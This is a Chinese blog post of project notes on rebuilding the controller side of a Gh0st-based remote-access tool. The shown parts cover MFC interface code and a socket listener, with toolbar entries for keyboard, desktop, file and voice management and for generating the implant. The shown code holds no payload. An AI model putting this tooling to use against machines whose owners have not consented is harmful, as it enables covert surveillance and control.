基于Gh0st的远控项目笔记

花了些时间来完成的一个项目,大部分功能都实现了,并且修改了小部分东西。

教程挺老了,但是整体代码的框架是很牛逼的,虽然大部分都是直接搬教程的代码,但是整体流程走下来还是学到很多东西。

完成后的github链接:https://github.com/The-Itach1/MyGh0st

part1-环境配置

VS环境配置

需要下面两个配置,主要用于MFC项目。

创建MFC对话框程序

创建MFC应用程序,基于对话框,在静态库中使用MFC。

然后属性选择多字符集。

part2-客户端界面的设计和编写

添加两个List Control

先删除原窗口自带的一些控件,然后调整主窗口的大小,并且添加最大化,最小化功能。

删除原有控件Del就行,最大化和最小化主窗口,设置Maxximize Box和Minximize Box。

使用工具栏添加两个List Control,主要解决的问题是如何让两个控件跟着主窗口的缩放而缩放。

方法是采用OnSize,对主窗口设置一个针对于WM_SIZE的消息处理函数OnSize,这样就可以获得窗口变换时的长宽,然后再根据偏移设置两个控件的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

void CMyRemoteDlg::OnSize(UINT nType, int cx, int cy)
{
//用于窗口重绘,当WM_SIZE消息触发,就会进入此函数,然后传入主窗口的信息cx和cy,分别代表宽度和高度。
CDialogEx::OnSize(nType, cx, cy);

//TODO: 在此处添加消息处理程序代码
if (m_CList_Online.m_hWnd != NULL)
{
//CRect 有很多内置函数,矩阵的坐标
CRect rc;

//基于主窗口的宽高度变换,修改List Control控件的矩阵大小。
rc.left = 1; //列表的左坐标
rc.top = 90; //列表的上坐标
rc.right = cx - 1; //列表的右坐标
rc.bottom = cy - 200; //列表的下坐标
//重置列表控件的窗口大小
m_CList_Online.MoveWindow(rc);
}

//同上
if (m_CList_Message.m_hWnd != NULL)
{
CRect rc;
rc.left = 1; //列表的左坐标
rc.top = cy - 196; //列表的上坐标
rc.right = cx - 1; //列表的右坐标
rc.bottom = cy - 20; //列表的下坐标
m_CList_Message.MoveWindow(rc);
}
}

接下来还有一个小问题,就是在未变动窗口时,可能控件的位置不是太理想,这时候可以采取窗口初始化,也就是在BOOL CMyRemoteDlg::OnInitDialog()里面加入对主窗口初始化的代码,然后就也会触发WM_SIZE事件,然后进入OnSize函数,也对控件进行初始化

1
2
3
4
5
6
7
8
9

// TODO: 在此添加额外的初始化代码

//先初始化主窗口一次,这样也会触发WM_SIZE事件。
CRect crect;
GetWindowRect(&crect);
crect.bottom += 20;
MoveWindow(crect);
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE

阶段成品样子

给列表添加变量

这部分主要是添加报表,类似于表格,两个列表控件添加的报表不同,但是操作一样。

首先修改两个列表控件的view属性为Report。

然后我们需要先思考好每个列表控件需要添加什么列名。

第一个控件:0IP 1所在区域   2计算机名/备注  3操作系统  4CPU  5摄像头  6Ping

第二个控件:0信息类型 1时间 2信息内容

使用列表控件的类函数添加新列,CListCtrl::InsertColumn

int InsertColumn(
    int nCol,
    const LVCOLUMN* pColumn);

int InsertColumn(
    int nCol,  //新列的索引。
    LPCTSTR lpszColumnHeading, //包含列标题的字符串的地址。
    int nFormat = LVCFMT_LEFT,  //整数,用于指定列的对齐方式。 可以是以下值之一: LVCFMT_LEFT 、 LVCFMT_RIGHT 或 LVCFMT_CENTER 。
    int nWidth = -1, //列的宽度(以像素为单位)。 如果此参数为-1,则不设置列宽。
    int nSubItem = -1);  //与该列关联的子项的索引。 如果此参数为-1,则没有子项与该列关联。

然后为了方便我们编写代码,我们构造一个结构体来保存列的部分数据

1
2
3
4
5
6
7

//定义一种结构体,储存列的名称和宽度
typedef struct
{
char* title; //列表的名称
int nWidth; //列表的宽度
}COLUMNSTRUCT;

然后就是给数据,具体宽度根据自己的界面设计来定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

//初始化列数据
COLUMNSTRUCT Array_Column_Online[] = {
{"IP", 225 },
{"区域", 200 },
{"计算机名/备注", 200 },
{"操作系统", 200 },
{"CPU", 150 },
{"摄像头", 150 },
{"PING", 150 }
};

int a = 0;
COLUMNSTRUCT Array_Column_Message[] = {
{"信息类型", 200 },
{"时间", 400 },
{"信息内容", 675 }
};

//两个列数据的长度
int Array_Column_Online_lenth = 7;
int Array_Column_Message_lenth = 3;

然后使用InsertColumn进行插入新列。这里单独创建一个函数来干这件事。视图->类视图->选择类->添加->添加函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

int CMyRemoteDlg::InitList()
{
//使用InsertColumn插入列,满足左对齐
int i = 0;

for (i = 0; i < Array_Column_Online_lenth; i++)
{
m_CList_Online.InsertColumn(i, Array_Column_Online[i].title, LVCFMT_CENTER, Array_Column_Online[i].nWidth);
}

for (i = 0; i < Array_Column_Message_lenth; i++)
{
m_CList_Message.InsertColumn(i, Array_Column_Message[i].title, LVCFMT_CENTER, Array_Column_Message[i].nWidth);
}

return 0;
}

阶段成品展示。

让列表的列能随窗口的变化而变化

之前我们完成的代码,每一列的宽度不能随主窗口的变化而变化,这一节就是来解决这个问题。

同样主窗口变化的事件还是WM_SIZE,所以我们还是在OnSize函数中对列宽进行操作,需要用到SetColumnWidth

1
2
3
4

BOOL SetColumnWidth(
int nCol, //要为其设置宽度的列的索引。 在列表视图中,此参数必须为0。
int cx); //列的新宽度。

所以我们只需要求出列的新宽度即可,也就是(列原长度/列原总长度)* 新主窗口宽度。一个简单的数学问题。

先定义两个变量储存列原总长度。

//初始化列的总长度
int Column_Online_lenth = 0;
int Column_Message_lenth = 0;

然后在initlist中,利用for循环求出两个变量的具体值。

然后在onsize中进行计算修改,需要注意的点是,for循环需要包含在if条件中,也就是当这个窗口的句柄不为0,即列表窗口存在时才进行此操作。如果放在if外,会先执行OnSize函数,然后由于宽度为0,造成除0异常。还有一点就是需要用double计算,因为c语言中的除法只会取整,造成很大的误差。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

void CMyRemoteDlg::OnSize(UINT nType, int cx, int cy)
{
//用于窗口重绘,当WM_SIZE消息触发,就会进入此函数,然后传入主窗口的信息cx和cy,分别代表宽度和高度。
CDialogEx::OnSize(nType, cx, cy);
int i;

//主窗口减去两边留下的一点空隙
double dcx = cx-2;

//TODO: 在此处添加消息处理程序代码
if (m_CList_Online.m_hWnd != NULL)
{
//CRect 有很多内置函数,矩阵的坐标
CRect rc;

//基于主窗口的宽高度变换,修改List Control控件的矩阵大小。
rc.left = 1; //列表的左坐标
rc.top = 90; //列表的上坐标
rc.right = cx - 1; //列表的右坐标
rc.bottom = cy - 200; //列表的下坐标
//重置列表控件的窗口大小
m_CList_Online.MoveWindow(rc);

//让每一列的宽度随主窗口的宽度而变化。
for (i = 0; i < Array_Column_Online_nums; i++)
{
double dd = Array_Column_Online[i].nWidth; //得到当前列的宽度
dd /= Column_Online_lenth; //看一看当前宽度占总长度的几分之几
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
int NewWidth = (int)dd; //转换为int 类型
m_CList_Online.SetColumnWidth(i, NewWidth);
}
}
//同上
if (m_CList_Message.m_hWnd != NULL)
{
CRect rc;
rc.left = 1; //列表的左坐标
rc.top = cy - 196; //列表的上坐标
rc.right = cx - 1; //列表的右坐标
rc.bottom = cy - 20; //列表的下坐标
m_CList_Message.MoveWindow(rc);

//让每一列的宽度随主窗口的宽度而变化。
for (i = 0; i < Array_Column_Message_nums; i++)
{
double dd = Array_Column_Message[i].nWidth; //得到当前列的宽度
dd /= Column_Message_lenth; //看一看当前宽度占总长度的几分之几
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
int NewWidth = (int)dd; //转换为int 类型
m_CList_Message.SetColumnWidth(i, NewWidth);
}
}
}

阶段成果展示

缩小一点看看。

添加行信息

这部分主要是学习如何向列表中添加行信息。

需要使用到InsertItem,向列表视图控件中插入项。然后向子列中加入或修改数据,SetItemText,更改列表视图项或子项的文本。

int InsertItem(
    int nItem,   //要插入的项的索引。第几行
    LPCTSTR lpszItem);   //包含项标签的字符串的地址,简单说就是第0列的数据


BOOL SetItemText(
    int nItem,   //要插入的项的索引。第几行
    int nSubItem,  //第几个子列
    LPCTSTR lpszText);   //数据

我们先对Online列表写一个添加数据的函数。由于有7个子列,我们传入7个字符型参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

enum
{
ONLINELIST_IP = 0, //IP的列顺序
ONLINELIST_ADDR, //地址
ONLINELIST_COMPUTER_NAME, //计算机名/备注
ONLINELIST_OS, //操作系统
ONLINELIST_CPU, //CPU
ONLINELIST_VIDEO, //摄像头
ONLINELIST_PING //PING
};


void CMyRemoteDlg::Add_Online_Message(LPCTSTR strIP, LPCTSTR strAddr, LPCTSTR strPCName, LPCTSTR strOS, LPCTSTR strCPU, LPCTSTR strVideo, LPCTSTR strPing)
{
m_CList_Online.InsertItem(0, strIP);//先插入第一个子列的信息,默认都是第一行,也就是第一项,确保每当有新设备上线,总是在第一行。

//为其他子列添加数据,这里使用了枚举变量,在简化代码的同时,也能更好的扩展
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr);
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName);
m_CList_Online.SetItemText(0, ONLINELIST_OS, strOS);
m_CList_Online.SetItemText(0, ONLINELIST_CPU, strCPU);
m_CList_Online.SetItemText(0, ONLINELIST_VIDEO, strVideo);
m_CList_Online.SetItemText(0, ONLINELIST_PING, strPing);
}

这里主要是讲一下为什么要使用枚举变量,我们先假设不使用枚举变量。那么我们添加数据的代码将如下。

m_CList_Online.SetItemText(0, 1, strAddr);
m_CList_Online.SetItemText(0, 2, strPCName);
m_CList_Online.SetItemText(0, 3, strOS);
m_CList_Online.SetItemText(0, 4, strCPU);
m_CList_Online.SetItemText(0, 5, strVideo);
m_CList_Online.SetItemText(0, 6, strPing);

然后假设我们现在要删除计算机名称这一列,我们就必须删除删除InitList中的创建代码和修改2后面的所有行。

但是如果使用枚举变量,我们就只用删除InitList中的创建代码和下面的两句话,不用对代码做出太大的改动。

ONLINELIST_COMPUTER_NAME, //计算机名/备注

m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName); 

同理我们对日志消息列表写一个添加数据的函数,由于变量太少,就不采用枚举了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

//添加日志的部分信息
void CMyRemoteDlg::Add_Log_Message(BOOL IsSuccess, LPCTSTR strLogMsg)
{
CString strTime, strIsSuccess;

//获取当前时间
CTime t = CTime::GetCurrentTime();
strTime = t.Format("%H:%M:%S");
if (IsSuccess)
{
strIsSuccess = "Success";
}
else
{
strIsSuccess = "Failed";

}
m_CList_Message.InsertItem(0, strIsSuccess);
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, strLogMsg);
}

然后产生了一个问题,插入数据时都是先InsertItem插入第一个子列,SetItemText后面的子列,不能全部使用SetItemText。

https://blog.csdn.net/u013050589/article/details/20704625
看了文章后,发现说简单点,就是必须先要申请了行,才可以向后面的子列添加数据,并且在申请行的同时,可以对第一个子列进行赋值。随后我又测试了几组数据。

m_CList_Message.InsertItem(0, strIsSuccess);
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, strLogMsg);
m_CList_Message.InsertItem(1, strIsSuccess);
m_CList_Message.SetItemText(1, 1, strTime);
m_CList_Message.SetItemText(1, 2, strLogMsg);

Success  time  xxx
Success  time  xxx

//m_CList_Message.InsertItem(0, strIsSuccess);
//m_CList_Message.SetItemText(0, 1, strTime);
//m_CList_Message.SetItemText(0, 2, strLogMsg);
m_CList_Message.InsertItem(1, strIsSuccess);
m_CList_Message.SetItemText(1, 1, strTime);
m_CList_Message.SetItemText(1, 2, strLogMsg);

Success

m_CList_Message.InsertItem(0, strIsSuccess);
//m_CList_Message.SetItemText(0, 1, strTime);
//m_CList_Message.SetItemText(0, 2, strLogMsg);
m_CList_Message.InsertItem(1, strIsSuccess);
m_CList_Message.SetItemText(1, 1, strTime);
m_CList_Message.SetItemText(1, 2, strLogMsg);

Success
Success  time  xxx

可以发现似乎不能跳过前面的行,直接对某一行进行给数据。

然后写个测试函数,试试能不能使用这两个函数。

1
2
3
4
5
6
7

// 测试是否能正常添加信息。
void CMyRemoteDlg::test()
{
Add_Online_Message("192.168.0.1", "本机局域网", "Lang", "Windows7", "2.2GHZ", "有", "123232");
Add_Log_Message(true, "软件初始化成功...");
}

最后就是如果想点击时整个列都是选中状态,在InitList中添加下面代码。

1
2
3
4

m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);

m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);

阶段成果展示

给Online列表添加菜单栏

首先需要添加一个菜单栏资源,资源视图->右键->添加资源->Menu。然后设计菜单,修改名称这些。

然后就是给Online列表设置一个右鼠标点击的事件处理函数,用来弹出菜单栏,只不过需要区别是否点击到有效项上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

//Online列表界面内右键显示菜单栏
void CMyRemoteDlg::OnNMRClickOnline(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
CMenu Menu;//声明一个菜单变量
Menu.LoadMenuA(IDR_MENU_ONLINE);//载入菜单资源
CMenu* pMenu = Menu.GetSubMenu(0);//得到菜单项
int M_count = pMenu->GetMenuItemCount();//得到菜单各个选项的个数

CPoint Point; //声明一个鼠标变量
GetCursorPos(&Point); //得到鼠标指针的位置

//满足选中列表中的项数为0,项数可以理解为行数,就将菜单中的选项全部变灰,无法点击。
if (m_CList_Online.GetSelectedCount() == 0)
{
for (int i = 0; i < M_count; i++)
{
//EnableMenuItem,启用、禁用或显示指定的菜单项。
pMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
}
}

//根据鼠标的位置来展示菜单栏
pMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
}

阶段成果展示

不选择项时,菜单选项全部为灰色

为菜单选项添加处理函数

对于各个功能函数,现在肯定的无法添加具体代码的,只能添加一个测试代码,主要还是为断开连接,设计一个删除项的功能。

需要用到的两个函数。

deleteitem
从列表视图控件中删除项。

BOOL DeleteItem(int nItem);

nItem
指定要删除的项的索引。

GetSelectionMark检索列表视图控件的选择标记。

int GetSelectionMark();

返回值:
从零开始的选择标记,如果没有选择标记,则为-1。

如果是想全部删除可以采用下面的代码:

1
2
3
4
5
6
7
8
9

//获取列表中所有项的个数
int All_Count = m_CList_Online.GetItemCount();
int i;
//循环删除,每次都删除第一行,因为没删除一行,索引是会变的。
for (i = 0; i < All_Count; i++)
{
m_CList_Online.DeleteItem(0);
}

但是我们往往是想删除指定的行。

1
2
3
4

//删除选定项
int index= m_CList_Online.GetSelectionMark();
m_CList_Online.DeleteItem(index);

然后我们需要添加一个删除日志,日志消息需要是断开连接设备的ip信息,我们使用GetItemText来获取。注意获取ip信息需要在所选项删除前获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

//断开连接
void CMyRemoteDlg::OnOnlineDelete()
{
// TODO: 在此添加命令处理程序代码

//删除所有项
////获取列表中所有项的个数
//int All_Count = m_CList_Online.GetItemCount();
//int i;
////循环删除,每次都删除第一行,因为没删除一行,索引是会变的。
//for (i = 0; i < All_Count; i++)
//{
// m_CList_Online.DeleteItem(0);
//}

//删除选定项
CString strIp;
int index= m_CList_Online.GetSelectionMark();
//Ip信息必须在这一行删除之前获取
strIp = m_CList_Online.GetItemText(index, ONLINELIST_IP);
m_CList_Online.DeleteItem(index);

//添加日志消息
strIp += "断开连接";
Add_Log_Message(true, strIp);
}

添加主对话框菜单和部分处理函数

还是需要先设计菜单。添加一个资源就行。

然后是展示菜单,这里使用的函数和之前Online的菜单有点不同。

LoadMenuA,不是CMenu类中的LoadMenu。从与应用程序实例关联的可执行 (.exe) 文件中加载指定的菜单资源。

HMENU LoadMenuA(
  [in, optional] HINSTANCE hInstance,  //包含要加载的菜单资源的模块的句柄。
  [in]           LPCSTR    lpMenuName  //菜单资源的名称。
);

SetMenu,将新菜单分配给指定的窗口。

BOOL SetMenu(
  [in]           HWND  hWnd,  //要将菜单分配到的窗口的句柄。
  [in, optional] HMENU hMenu  //新菜单的句柄。
);

DrawMenuBar,重绘指定窗口的菜单栏。

BOOL DrawMenuBar(
  [in] HWND hWnd  //要重绘其菜单栏的窗口的句柄。
);

这里添加一个函数去实现,使代码好看一点

1
2
3
4
5
6
7
8
9
10

//为主对话窗口添加菜单
void CMyRemoteDlg::Add_Main_Menu()
{
// TODO: 在此处添加实现代码.
HMENU Main_Menu;//声明一个菜单句柄
Main_Menu=LoadMenuA(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN));//载入菜单资源,使用MAKEINTRESOURCE宏转类型
::SetMenu(this->GetSafeHwnd(), Main_Menu); //使用::代表不使用类中的重载函数。 分配新菜单到主对话框窗口
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
}

然后就是添加菜单选项的消息处理函数了。

退出。PostMessage函数。

1
2
3
4
5
6
7

//退出选项处理函数
void CMyRemoteDlg::OnMainClose()
{
// TODO: 在此添加命令处理程序代码
PostMessage(WM_CLOSE, 0, 0);
}

然后就是关于了,实际上这个项目创建的时候,就生成了一个类已经有了这个函数,只需要我们去调用。需要做的就是根据自己的情况去修改下界面,ID为IDD_ABOUTBOX,然后类名为为CAboutDlg。

//关于选项处理函数
void CMyRemoteDlg::OnMainAbout()
{
    // TODO: 在此添加命令处理程序代码
    //调用已有的关于函数
    CAboutDlg AboutDlg;
    AboutDlg.DoModal();
}

阶段成品展示。

添加状态栏

在主窗口底部添加一个状态栏。

首先需要在Sting Table里面添加字符串。

然后定义数组,存放添加的字符串的ID,如果要多个状态栏就需要添加多个字符串。

static UINT indicators[] = { 
    IDR_STATUSBAR_STRING 
};

然后直接上函数,基本上都是一套流程,需要提前定义一个状态栏变量StatusBar m_StatusBar。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

//添加状态栏
void CMyRemoteDlg::Add_status_bar()
{
// TODO: 在此处添加实现代码.
if (!m_StatusBar.Create(this) || !m_StatusBar.SetIndicators(indicators, sizeof(indicators) / sizeof(UINT)))
{
TRACE0("Can't create status bar\n");
return ;
}
CRect rc;
//检索状态栏的边界矩形的尺寸。
::GetWindowRect(m_StatusBar.m_hWnd, rc);
//调整状态栏的位置和大小,但是实际上我们调用的是重载函数,实际上具体调整在Onsize函数中实现
m_StatusBar.MoveWindow(rc);
}

这时候我们,并没有设置好位置,但是没什么关系,我们在OnSize函数中设置下就行,还能随主窗口变换而变换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

//使状态栏跟随主窗口变化而变化
if (m_StatusBar.m_hWnd != NULL)
{
CRect rc;
rc.left = 0;
rc.top = cy - 20;
rc.right = cx;
rc.bottom = cy;
//调整状态栏的位置
m_StatusBar.MoveWindow(rc);
//设置为新的 ID、样式和宽度。
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_POPOUT, cx-10);
}

需要提一下的是SetPaneInfo函数,第一个参数就是那个数组的某个index,然后第二个参数可以通过GetItemID得到。

最后就是添加状态栏显示的内容了,我们需要显示的是当前连接的个数,然后显示的函数是CStatusBar::SetPaneText,可以同过添加日志消息的那个函数的参数来得到个数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

CString strStatusMsg;
if (strLogMsg.Find("上线") > 0) //处理上线还是下线消息
{
Online_Pc_Count++;
}
else if (strLogMsg.Find("下线") > 0)
{
Online_Pc_Count--;
}
else if (strLogMsg.Find("断开") > 0)
{
Online_Pc_Count--;
}
Online_Pc_Count = (Online_Pc_Count <= 0 ? 0 : Online_Pc_Count); //防止iCount 有-1的情况
strStatusMsg.Format("有%d个主机在线", Online_Pc_Count);
m_StatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字

阶段成果展示。

添加功能图标

这部分最费力的还是制作自己个性化的图标。

先在资源创建一个ToolBar用来构造工具栏框架,这里是13个48*48的,9到10中间空一个,然后就是创建一个位图资源,用来做工具栏的底,要不然没图标,只有框,不好看,我这里是直接学着视频中的图片,做了个差不多的。

然后就是一系列操作了,这里视频中也是直接使用了Gh0st中的一个写好的类,我们直接用就行。

流程为:

  • 创造并加载工具栏,CreateEx,LoadToolBar
  • 调用TrueColorToolBar.h提供的LoadTrueColorToolBar,用来加载分割位图资源,并且上色。
  • 设置工具栏位置,RECT,MoveWindow
  • 工具栏下方添加文字,SetButtonText
  • RepositionBars显示工具栏

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

//添加功能图标
void CMyRemoteDlg::Add_ToolBar()
{
// TODO: 在此处添加实现代码.

//创造并加载工具栏
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
!m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN))
{
TRACE0("Failed to create toolbar\n");
return; // fail to create
}
m_ToolBar.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP

//TrueColorToolBar.h提供的函数,用来分割BITMAP,并上色,否则就根本没有显示
m_ToolBar.LoadTrueColorToolBar
(
48, //加载真彩工具条
IDB_BITMAP_MAIN,
IDB_BITMAP_MAIN,
IDB_BITMAP_MAIN
);

//初始化工具栏位置
RECT rt, rtMain;
GetWindowRect(&rtMain);
rt.left = 0;
rt.top = 0;
rt.bottom = 80;
rt.right = rtMain.right - rtMain.left +200;
m_ToolBar.MoveWindow(&rt, TRUE);

//给工具栏下面附加文字
m_ToolBar.SetButtonText(0, "终端管理");
m_ToolBar.SetButtonText(1, "进程管理");
m_ToolBar.SetButtonText(2, "窗口管理");
m_ToolBar.SetButtonText(3, "桌面管理");
m_ToolBar.SetButtonText(4, "文件管理");
m_ToolBar.SetButtonText(5, "语音管理");
m_ToolBar.SetButtonText(6, "键盘管理");
m_ToolBar.SetButtonText(7, "服务管理");
m_ToolBar.SetButtonText(8, "注册表管理");
//中间空一格
m_ToolBar.SetButtonText(10, "参数设置");
m_ToolBar.SetButtonText(11, "生成服务端");
m_ToolBar.SetButtonText(12, "帮助");

//显示工具栏
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
}

当然同样需要在Onsize设置大小化处理,然后还需要解决有最小化程序崩溃的问题。

后面就是功能问题了,工具栏是没有消息处理的,但是我们可以将其ID改为其对应的菜单栏消息处理ID,就可以完成点击一样有消息处理效果了。一个一个设置就完事了。

阶段成品展示

添加系统托盘

系统托盘,就是出现在我们电脑下面右边的那些图标,点击有效果。

需要用到一个函数Shell_NotifyIcon

//将消息发送到任务栏的状态区域。
BOOL Shell_NotifyIconA(
  [in] DWORD            dwMessage,  //一个值,该值指定此函数要执行的操作。
  [in] PNOTIFYICONDATAA lpData    //指向 NOTIFYICONDATA 结构的指针。
);

然后在看看PNOTIFYICONDATAA结构体。

//包含系统在通知区域中显示通知所需的信息。
typedef struct _NOTIFYICONDATAA {
  DWORD cbSize;    //此结构的大小(以字节为单位)。
  HWND  hWnd;        //接收与通知区域中的图标关联的通知的窗口的句柄。            //任务栏图标的应用程序定义的标识符。
  UINT  uID;        //任务栏图标的应用程序定义的标识符。的标志
  UINT  uFlags;        //指示结构的其他成员中哪些包含有效数据的标志
  UINT  uCallbackMessage;        ////托盘事件的消息响应函数
  HICON hIcon;        //要添加、修改或删除的图标的句柄。
#if ...
  CHAR  szTip[64];    //标准工具提示的文本
#else
  CHAR  szTip[128];
#endif
  DWORD dwState;        //图标的状态。
  DWORD dwStateMask;    //
  CHAR  szInfo[256];
  union {
    UINT uTimeout;
    UINT uVersion;
  } DUMMYUNIONNAME;
  CHAR  szInfoTitle[64];    //气球通知的标题
  DWORD dwInfoFlags;
  GUID  guidItem;
  HICON hBalloonIcon;
} NOTIFYICONDATAA, *PNOTIFYICONDATAA;

我们照样单独新建一个函数去实现这个功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 添加系统托盘
void CMyRemoteDlg::Add_System_Tray()
{
// TODO: 在此处添加实现代码.
NotifIconDate.cbSize = sizeof(NOTIFYICONDATA);
NotifIconDate.hWnd = this->m_hWnd;
NotifIconDate.uID = IDR_MAINFRAME; //图标的ID,就用程序原本的那个
NotifIconDate.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态,消息窗口,图标,气泡都有效
NotifIconDate.uCallbackMessage = UM_ICONNOTIFY; //回调消息,需要自己设置,用来处理一些系统托盘的一些消息
NotifIconDate.hIcon = m_hIcon; //icon 变量,在项目生成时已经有了
CString str = "MyRemote远程协助软件"; //气泡提示字符串
lstrcpyn(NotifIconDate.szTip, (LPCSTR)str, sizeof(NotifIconDate.szTip) / sizeof(NotifIconDate.szTip[0]));
Shell_NotifyIcon(NIM_ADD, &NotifIconDate); //显示托盘

}

气泡有了,图标也加载好了,就只剩回调消息函数了,我们需要自己定义一个,MFC自定义消息

照着网站中的操作做就行。

最后是解决一个窗口关闭,托盘图标仍然存在的情况。解决办法,给主窗口添加一个WM_CLOSE的消息处理即可。

1
2
3
4
5
6
7
8

//主窗口退出时,系统托盘图标消失
void CMyRemoteDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
Shell_NotifyIcon(NIM_DELETE, &NotifIconDate); //显示托盘
CDialogEx::OnClose();
}

个性化设置

主要是我自己想添加一些背景图片。

part3-Socket服务端数据传输内核

直接套用其相关的类

复制,然后修改到不报错就行,过程还是比较多,慢慢弄。

Gh0st的Socket数据传输代码分析

数据传输用到的类就是CIOCPServer,里面有Socket的绑定,和所有从客户端传来的消息的处理函数。

通过后面的功能来学习数据传输。

利用G0hst的代码绑定并监听指定端口

MyRemoteDlg.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

//NotifyProc是这个socket内核的核心 所有的关于socket 的处理都要调用这个函数
void CALLBACK CMyRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode)
{
try
{
switch (nCode)
{
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
//g_pCcRemoteDlg->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); // 当服务端断开或出错响应
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
//ProcessReceive(pContext); // 这里是有数据到来 但没有完全接收
break;
case NC_RECEIVE_COMPLETE:
//ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
break;
}
}
catch (...) {}
}


// 监听端口 最大上线个数
void CMyRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
{
CString str;

if (m_iocpServer != NULL)
{
m_iocpServer->Shutdown();
delete m_iocpServer;

}
m_iocpServer = new CIOCPServer;

// 开启IPCP服务器 最大连接 端口 查看NotifyProc回调函数 函数定义
if (m_iocpServer->Initialize((NOTIFYPROC)NotifyProc, NULL, 100000, nPort))
{

char hostname[256];
gethostname(hostname, sizeof(hostname));
HOSTENT* host = gethostbyname(hostname);
if (host != NULL)
{
for (int i = 0; ; i++)
{
str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
if (host->h_addr_list[i] + host->h_length >= host->h_name)
break;
str += "/";
}
}

str.Format("监听端口: %d成功", nPort);
Add_Log_Message(true, str);
}
else
{
str.Format("监听端口: %d失败", nPort);
Add_Log_Message(true, str);
}

}

MyRemoteDlg.h

protected:
    static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
    void Activate(UINT nPort, UINT nMaxConnections);

注意添加上#include “include/IOCPServer.h”头文件,因为具体的实现是调用了这个类的成员函数。

添加ini配置文件

为了方便修改端口等信息,我们采用读取ini配置文件的方式来完成这件事。并且我们会添加一个对话框来实现值的设定。

同样我们使用了G0hst中一个写好的类,InFile.cpp中的CIniFile类。其本质是通过构造函数创建了一个ini配置文件,然后是利用GetPrivateProfileInt,GetPrivateProfileString,WritePrivateProfileString等API函数操作ini文件,或者读取ini文件中的一些内容。

前面的小结已经创建了Activate函数,所以我们只需要提取ini文件里面的值然后作为参数即可,但是我们为了能够直接在程序中修改端口port,所以就新建了一个对话框,所以为了使所有的对话框能够使用CIniFile变量,我们将其定义在MyRemote.h。

然后添加ListenPort函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// 根据ini文件添加监听端口
void CMyRemoteDlg::ListenPort()
{
// TODO: 在此处添加实现代码.
int nPort = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "ListenPort"); //读取ini 文件中的监听端口
int nMaxConnection = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "MaxConnection"); //读取最大连接数
if (nPort == 0)
nPort = 80;
if (nMaxConnection == 0)
nMaxConnection = 10000;
Activate(nPort, nMaxConnection); //开始监听

}

